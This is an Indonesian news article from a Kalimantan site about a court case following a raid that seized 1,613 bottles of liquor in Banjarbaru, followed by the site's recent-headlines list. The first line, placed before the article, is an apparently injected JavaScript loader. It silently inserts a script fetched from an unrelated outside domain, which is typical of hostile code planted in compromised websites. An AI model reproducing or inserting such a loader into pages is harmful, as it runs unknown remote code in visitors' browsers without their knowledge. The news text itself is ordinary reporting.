(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

NS Ngaku Cuma Pesuruh, Pemilik 1.613 Botol Miras Masih Buron


BANJARBARU, Siapa pemilik ribuan botol miras hasil operasi gabungan Satpol PP Banjarbaru, TNI dan Polisi belum juga berhasil dketahui. Ya, pada operasi gabungan Sabtu (1/9) malam itu, razia tim gabungan berhasil menyita 1.613 botol miras yang disembunyikan di dalam rumah warga di Jalan Kenanga RT 09 RW 08 Landasan Ulin Timur.

Hanya, NS -mengaku bukan pemilik hanya pesuruh- yang saat itu diboyong bersama ribuan miras yang dijualnya, Selasa (4/9) siang, menjalani sidang di Pengadilan Negeri Banjarbaru.

Dalam sidang tersebut, JPU (Jaksu Penuntut Umum) Akhmad Rifani mengatakan, NS bersalah karena telah melanggar Perda nomor 5 tentang larangan minuman beralkohol. PN Banjarbaru dalam sidang tipiring itu menjatuhkan pidana denda sebesar Rp 2,5 juta, apabila denda tidak dibayar akan diganti dengan kurungan 1 bulan.

“Seluruh barang bukti disita pengadilan dan nantinya akan dimusnahkan,” ujar Akhmad Rifani.

Terungkap fakta di persidangan, NS mengaku dirinya hanya menjad pelayan jual beli miras yang diakuinya bukan miliknya. NS dihadapan Majelis Hakim mengakui, rumah dan kepemilikan ribuan botol miras tersebut milik Paiti. Hingga saat ini pemilik miras tersebut masih dalam pencarian.

PPNS Satpol PP Kota Banjarbaru Yanto Hidayat menjelaskan, Satpol PP akan terus mencari pemilik dan penjual miras yang disinyalir milik Paiti masih bersembunyi.

“Tentunya kita akan terus melakukan giat di beberapa tempat yang dicurigai masih menjual miras. Kasus ini masih akan berlanjut setelah kita temukan pemilik yang dimaksud,” ujar Yanto Hidayat.

Selain NS, nasib malang juga menimpa TA (40) yang tertangkan saat operasi gabungan pada malam itu. Warga Jawa Timur ini merantau ke Kalimantan Selatan demi mencari sang suami dan rupanya berujung pada bekerjanya sebagai PSK di eks lokalisasi Pembatuan.

Dengan tertunduk lesu TA yang saat di pengadilan duduk bersama NS (pelayan penjual miras) menjalani sidang dan menjawab beberapa pertanyaan.

“Saya orang baru pak, ke sini karena mau cari suami saya,” ujar TA saat ditanya hakim.

Karena melanggar Perda nomor 6 tahun 2002, hakim menjatuhan hukuman pidana kurungan 2 bulan dengan masa percobaan 6 bulan. (rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

8 jam ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

9 jam ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

9 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

13 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

13 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

15 jam ago

This website uses cookies.